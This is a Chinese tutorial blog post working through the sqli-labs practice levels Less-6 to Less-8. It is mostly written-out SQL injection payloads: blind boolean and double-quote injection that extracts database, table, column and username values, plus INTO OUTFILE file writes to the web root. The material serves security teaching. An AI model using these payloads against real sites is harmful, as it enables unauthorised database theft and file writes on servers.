注入基础（二）

admin

138674
文章

114
评论

2022年3月3日10:26:50评论73 views字数 10540阅读35分8秒阅读模式

Less-6

Double Query- Double Quotes- String

只是带入查询的时候是双引号，跟之前的Less-4差不多，只是没有括号而已

注入基础（二）

字段：

http://172.17.3.134/sqli-labs/Less-6/index.php?id=1" order by 3 %23

SELECT * FROM users WHERE id="1" order by 3 #" LIMIT 0,1

判断数据库：

http://172.17.3.134/sqli-labs/Less-6/index.php?id=1" and left(version(),1)=5 %23

SELECT * FROM users WHERE id="1" and left(version(),1)=5 #" LIMIT 0,1 判断数据库版本

猜数据库名：

http://192.168.4.103/sqli-labs/Less-6/index.php?

id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>64%23

SELECT * FROM users WHERE id="1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>64#" LIMIT 0,1

先来解释一下注入语句：

ORD()：用于返回字符串第一个字符的ASCII码

MID()：SQL MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持，但不被MS SQL Server和Oracle支持。在SQL Server， Oracle 数据库中，我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。

例子：

mysql> select MID('mx7krshell',6,5);

+-----------------------+

| MID('mx7krshell',6,5) |

+-----------------------+

| shell |

+-----------------------+

IFNULL()：IFNULL(expr1,expr2)，当expr1不为NULL时则返回，否则返回expr2

CAST()：获取到的值转换为CHAR

总结来说：查询数据库的ascii值

重新开始猜

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>64%23

SELECT * FROM users WHERE id="1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>64#" LIMIT 0,1 返回正常

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>100%23

SELECT * FROM users WHERE id="1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>100#" LIMIT 0,1 返回正常

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>120%23

SELECT * FROM users WHERE id="1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>120#" LIMIT 0,1 返回错误

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>110%23

SELECT * FROM users WHERE id="1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>110#" LIMIT 0,1 返回正常

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>115%23

SELECT * FROM users WHERE id="1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>115#" LIMIT 0,1 返回错误

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>114%23

SELECT * FROM users WHERE id="1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>114#" LIMIT 0,1 返回正常

说明值第一位数据库的ascii值是115 ， 115转换为则是 "s"

为什么是115出错就是这个？还是上面的例子：

我拿a b c来解说： a 返回正常，b 返回错误 c返回错误那么第1位数据库名则为B

拿数字 1 2 3 来解说： 1返回正常， 2返回错误 3返回错误那么获取正确的值则为2

以此类推数据库盲注：

第二位数据库名：

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>101%23

第三位：

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>99%23

第四位：

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>117%23

第五位：

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>114%23

第六位：

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>105%23

第七位：

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>116%23

第八位：

http://192.168.4.103/sqli-labs/Less-6/index.php?id=1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>121%23

转换则为：security

得到了数据库则猜表名：

http://192.168.4.103/sqli-labs/Less-6/index.php?

id=1" AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>101%23

table_schema=0x7365637572697479 => security

SELECT * FROM users WHERE id="1" AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>101#" LIMIT 0,1

和上面猜数据库名一样，这里就不进行进一步猜

得到了表名则猜字段名：

http://192.168.4.103/sqli-labs/Less-6/index.php?

id=1" AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x7365637572697479),1,1))>51%23

table_name=0x7573657273 => users

SELECT * FROM users WHERE id="1" AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x7365637572697479),1,1))>51#" LIMIT 0,1

以此类推获取表名

获得字段名后获取字段的值:

http://192.168.4.103/sqli-labs/Less-6/index.php?

id=1" AND ORD(MID((SELECT IFNULL(CAST(COUNT(password) AS CHAR),0x20) FROM security.users),1,1))>49%23

SELECT * FROM users WHERE id="1" AND ORD(MID((SELECT IFNULL(CAST(COUNT(password) AS CHAR),0x20) FROM security.users),1,1))>49#" LIMIT 0,1

如果上面不行的话，也可以换成这样：

http://192.168.4.103/sqli-labs/Less-6/index.php?

id=1" AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x7365637572697479 AND (column_name=0x70617373776f7264 OR column_name=0x757365726e616d65) LIMIT 0,1),1,1))>117%23

column_name=0x70617373776f7264=>password

olumn_name=0x757365726e616d65=>username

SELECT * FROM users WHERE id="1" AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x7365637572697479 AND (column_name=0x70617373776f7264 OR column_name=0x757365726e616d65) LIMIT 0,1),1,1))>117#" LIMIT 0,1

Less-7

Dump into Outfile

注入基础（二）

看到无错误回显，还有$id是以 ((‘$id’))，

所以我们注入要这样：

http://192.168.4.104/sqli-labs/Less-7/index.php?id=1'

SELECT * FROM users WHERE id=(('1'')) LIMIT 0,1

是报错的，那要如何勒？

加个括号呢？

http://192.168.4.104/sqli-labs/Less-7/index.php?id=1')

SELECT * FROM users WHERE id=(('1')')) LIMIT 0,1

此时的：括号

(('1')'))

是不是少了一个？

http://192.168.4.104/sqli-labs/Less-7/index.php?id=1')) order by 3%23

SELECT * FROM users WHERE id=(('1')) order by 3#')) LIMIT 0,1

这样是不是完美了

不过好像要我们 into outfile 所以我们要先知道网站的路径才能导出文件查看注入的结果，那这时候都有路径和权限写了，不是可以直接获取shell么？确实是可以，但这里还是要这样介绍一下，我不确定Less-7的注入方法是不是这样，我也没有参考答案

http://192.168.4.104/sqli-labs/Less-7/index.php?id=1')) union select 1,version(),3 into outfile "C:\phpnow\htdocs\sqli-labs\Less-7\1.txt"%23

SELECT * FROM users WHERE id=(('1')) union select 1,version(),3 into outfile "C:\phpnow\htdocs\sqli-labs\Less-7\1.txt"#')) LIMIT 0,1

注入基础（二）

http://192.168.4.104/sqli-labs/Less-7/index.php?id=1')) union select 1,schema_name,3 from information_schema.schemata into outfile "C:\phpnow\htdocs\sqli-labs\Less-7\2.txt"%23

SELECT * FROM users WHERE id=(('1')) union select 1,schema_name,3 from information_schema.schemata into outfile "C:\phpnow\htdocs\sqli-labs\Less-7\2.txt"#')) LIMIT 0,1

注入基础（二）

Less-8

Blind- Boolian- Single Quotes- String

跟上面的Less-6相同方法

注入基础（二）

这里代码的错误提示之类的给注释掉了，所以只会返回空白或者正常页面

请参考Less-6注入方法，这里简略写一点

获取数据库长度：

http://110.112.119.117/sqli-labs/Less-8/index.php?

id=1' and length(database())>7%23

SELECT * FROM users WHERE id='1' and length(database())>7#' LIMIT 0,1 返回正常

http://110.112.119.117/sqli-labs/Less-8/index.php?

id=1' and length(database())>8%23

SELECT * FROM users WHERE id='1' and length(database())>8#' LIMIT 0,1 返回错误

例子： 7返回正常 8返回错误 9返回错误那么数据库的长度则为8位

获取数据库名：

http://110.112.119.117/sqli-labs/Less-8/index.php?

id=1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>114%23

SELECT * FROM users WHERE id='1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>114#' LIMIT 0,1 返回正常

http://110.112.119.117/sqli-labs/Less-8/index.php?

id=1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>115%23

SELECT * FROM users WHERE id='1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>115#' LIMIT 0,1 返回错误

第一位ascii码为115

以此类推

获取数据库表名长度：

http://110.112.119.117/sqli-labs/Less-8/index.php?

id=1' AND (SELECT length(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1)>6%23

SELECT * FROM users WHERE id='1' AND (SELECT length(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1)>6#' LIMIT 0,1 第一个表名长度为6位

http://110.112.119.117/sqli-labs/Less-8/index.php?

id=1' AND (SELECT length(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1)>8%23

SELECT * FROM users WHERE id='1' AND (SELECT length(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 1,1)>8#' LIMIT 0,1

以此类推

获取数据库表名：

http://110.112.119.117/sqli-labs/Less-8/index.php?

id=1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 limit 0,1),1,1))>101%23

SELECT * FROM users WHERE id='1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 limit 0,1),1,1))>101#' LIMIT 0,1 返回错误第一位则是101

第二位：

http://110.112.119.117/sqli-labs/Less-8/index.php?

id=1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 limit 0,1),1,2))>101%23

SELECT * FROM users WHERE id='1' AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 limit 0,1),1,2))>101#' LIMIT 0,1

以此类推

获取完表名，就要获取表名里面的字段了，

先获取字段的长度，再获取内容

获取第一个字段长度：

http://110.112.119.117/sqli-labs/Less-8/index.php?

id=1' AND (SELECT length(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 LIMIT 0,1)>7%23

SELECT * FROM users WHERE id='1' AND (SELECT length(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 LIMIT 0,1)>7#' LIMIT 0,1

以此类推

获取username中的内容长度：

http://110.112.119.117/sqli-labs/Less-8/index.php?

id=1' and (select length(username) from users limit 0,1)>4%23

SELECT * FROM users WHERE id='1' and (select length(username) from users limit 0,1)>4#' LIMIT 0,1

获取username中的内容值：

http://110.112.119.117/sqli-labs/Less-8/index.php?

id=1' AND ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))>68%23

SELECT * FROM users WHERE id='1' AND ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))>68#' LIMIT 0,1

上传完图片我也是醉了，这清晰度跟打了马赛克一样

原本是想把全部写好再发的，现在小歪JJ歪了，只能这样了，上面是原稿，没有做任何一点修改我继续码字了还有50多个注入点没写

本文始发于微信公众号（关注安全技术）：注入基础（二）

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

注入基础（二）

Less-6

Double Query- Double Quotes- String

Less-7

Dump into Outfile

Less-8

Blind- Boolian- Single Quotes- String

网络安全人士必知的MCP和A2A协议

第三方供应商遭勒索软件攻击，中国银行和星展银行11,200名客户受影响

低成本本地部署DeepSeek

PG_Vmdak

如何搭建符号执行环境并跑通第一个测试样例

渗透测试|柳暗花明(记一次有趣的高危漏洞以及思考修复方案)

从通过 .js 文件中找到的 URL 访问受限功能，到通过修改 API上HTTP响应中的accessLevel值进行权限提升

Web3 安全入门避坑指南｜剪贴板安全

利用n8n结合ollama-Deepseek大模型创建智能体

如何利用图像验证技术识别钓鱼攻击？

发表评论

在线咨询

微信